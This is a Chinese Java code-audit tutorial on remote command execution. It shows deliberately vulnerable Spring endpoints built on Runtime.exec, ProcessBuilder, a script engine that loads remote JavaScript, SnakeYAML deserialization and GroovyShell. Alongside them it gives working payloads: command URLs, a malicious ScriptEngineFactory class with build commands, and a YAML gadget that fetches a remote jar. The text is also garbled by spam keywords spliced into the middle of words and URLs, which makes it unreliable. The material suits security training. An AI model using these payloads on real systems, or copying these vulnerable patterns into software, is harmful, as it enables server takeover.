Java代码审计之RCE(远程命令执行)

​​​​

​​​​Java代码审计系列课程(点我看看哦)​​

漏洞原理

RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。
出现此类漏洞通常由于应用系统从设计上须要给用网络安全知识内容户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而若是设计者在完成该功能时,没有作严格的安全控制,则可能会致使攻击者经过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

runtime/exec

访安全技术交底问url为http://localhost:安全技术措施8080/rce/runtime/exec?cmd=whoami
http://localhost:8080/rce/runtimjavaeee/exec?cmd=calc

@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();

try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}

if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}

inBr.close();
in.close();
} catch (Exception e) {
return e.toString();
}
return sb.toString();
}

最基础的Ru网络安全教育心得体会ntime.ge安全技术交底tRuntime().exec(cmd),直接传入命令即可执行。

ProcessBuilder

访问url为http://localjava培训host:8080/rce/Proce安全技术交底ssBuilder?cmd=whoami。
同样网络安全知识也是直接执行命令,不同的是使用的是ProcessBuilder来执行命令。ProcessBuilder传入参数为列表,第一个参数为可执行命令程序,后面的参数为执行的命令程序的参数。

/**
* http://localhost:8080/rce/ProcessBuilder?cmd=whoami
* @param cmd cmd
*/
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {

StringBuilder sb = new StringBuilder();

try {
//String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
String[] arrCmd = {cmd}; //windows,windos下无需指定
ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
Process p = processBuilder.start();
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}
} catch (Exception e) {
return e.toString();
}

return sb.toString();
}

jscmd

访问urljava培训为http://localhost:8080/rjavaeece/jscmd?jsu安全技术与管理专业rl=http:网络安全专业//localhost/exe.网络安全教育js,传入的参数为一个JavaScript代码的url地址
http://localhosjava培训t/exe.js

var a = mainOutput(); 
function mainOutput() {
var x=java.lang.Runtime.getRuntime().exec("calc");
}

源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码。

/**
* http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
*
* curl http://xx.yy/exe.js
* var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
*
* @param jsurl js url
*/
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
// js nashorn javascript ecmascript
ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");//通过文件扩展名获取:
//ScriptEngine engine = manager.getEngineByName("JavaScript");//通过脚本名称获取:
//ScriptEngine engine = manager.getEngineByMimeType("text/javascript"); //通过MIME类型来获取:
Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
String cmd = String.format("load(\"%s\")", jsurl);
engine.eval(cmd, bindings);
}

yml

YAML(YAML Ain't Markup Language),也可以叫做YML,是一种人性化的数据java面试题序列化的语言,类似于XML,网络安全教育JSON。SpringBoot的配置文件就支java语言持yaml文件
yaml有三种数据结构

对象

写在一行

address: {province: 山东, city: 济南}

写在多行

address:
province: 山东
city: 济南

数组

写在一行

hobbyList: [游泳, 跑步]

写在多行

hobbyList:
- 游泳
- 跑步

纯量

  • 字符串 默认不用加引号,包含空格或特殊字符必须加引号,单引号或网络安全专业双引号都可以
userId: S123
username: "lisi"
password: '123456'
province: 山东
city: "济南 : ss"

  • 布尔值
  • success: true
    • 整数
    age: 13

  • 浮点数
  • weight: 75.5
    • Null
    gender: ~
    • 时间

    时间使网络安全用ISO8601标准 ​​ISO8601​​

    createDate: 2001-12-14T21:59:43.10+05

    使用sna安全技术交底范本keyaml将yaml文件解析成javabean

    添加maven依赖

    复制<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
    </dependency>

    访问url为http://localhost:8080/rce/vuln/yarm
    利用的是SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。
    先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。

    public void yarm(String content) {
    Yaml y = new Yaml();
    y.load(content);
    }

    payload在htjavascript百炼成仙tjava编译器ps://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java有。

    package artsploit; 
    import javax.script.ScriptEngine;
    import javax.script.ScriptEngineFactory;
    import java.io.IOException;
    import java.util.List;
    public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    public AwesomeScriptEngineFactory() {
    try {
    Runtime.getRuntime().exec("whoami");
    Runtime.getRuntime().exec("calc");
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    @Override
    public String getEngineName() {
    return null;
    }
    @Override
    public String getEngineVersion() {
    return null;
    }
    @Override
    public List<String> getExtensions() {
    return null;
    }
    @Override
    public List<String> getMimeTypes() {
    return null;
    }
    @Override
    public List<String> getNames() {
    return null;
    }
    @Override
    public String getLanguageName() {
    return null;
    }
    @Override
    public String getLanguageVersion() {
    return null;
    }
    @Override
    public Object getParameter(String key) {
    return null;
    }
    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
    return null;
    }
    @Override
    public String getOutputStatement(String toDisplay) {
    return null;
    }
    @Override
    public String getProgram(String... statements) {
    return null;
    }
    @Override
    public ScriptEngine getScriptEngine() {
    return null;
    }
    }

    对上面java代码进行打包
    在javac.exe下进行编译

    创建了jar.exe的快捷方式,注意生成yaml的路径

    
                                            Java代码审计之RCE(远程命令执行)

    javac src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf yaml-payload.jar -C src/ .

    随后将以下内容传安全技术与管理专业递给参数即可。

    !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
    !!java.net.URL ["http://localhost/yaml-payload.jar"]
    ]]
    ]

    拼接后url

    http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://localhost/yaml-payload.jar%22]]]]

    groovy

    Groovy是一种java怎么读基于​​JVM​​(​​Java虚拟机​​)的敏捷开发语言,它结合了​​Python​​、​​Rub安全技术交底内容y​​和​​Smalltalk​​的许多强大的特性,Groovy 代码能够与 Java 代码网络安全教育很好地结合,也能用于扩展现有代码

    Groovy语法:

    https://www.w3cschool.cn/groovy/

    访问url为http://localhost:8080/rce/groovy?content='calc'.execute(安全技术交底范本)
    GroovyShell可动态运行groovy语言,也可以用于网络安全教育心得体会命令执行,如网络安全教育心得体会果用户的输入不加以过滤会导致rce。

    public void groovyshell(String content) {
    GroovyShell groovyShell = new GroovyShell();
    groovyShell.evaluate(content);
    }

    关键词:

    Runtime    StringBuilder   ScriptEngineManager  Yaml   GroovyShell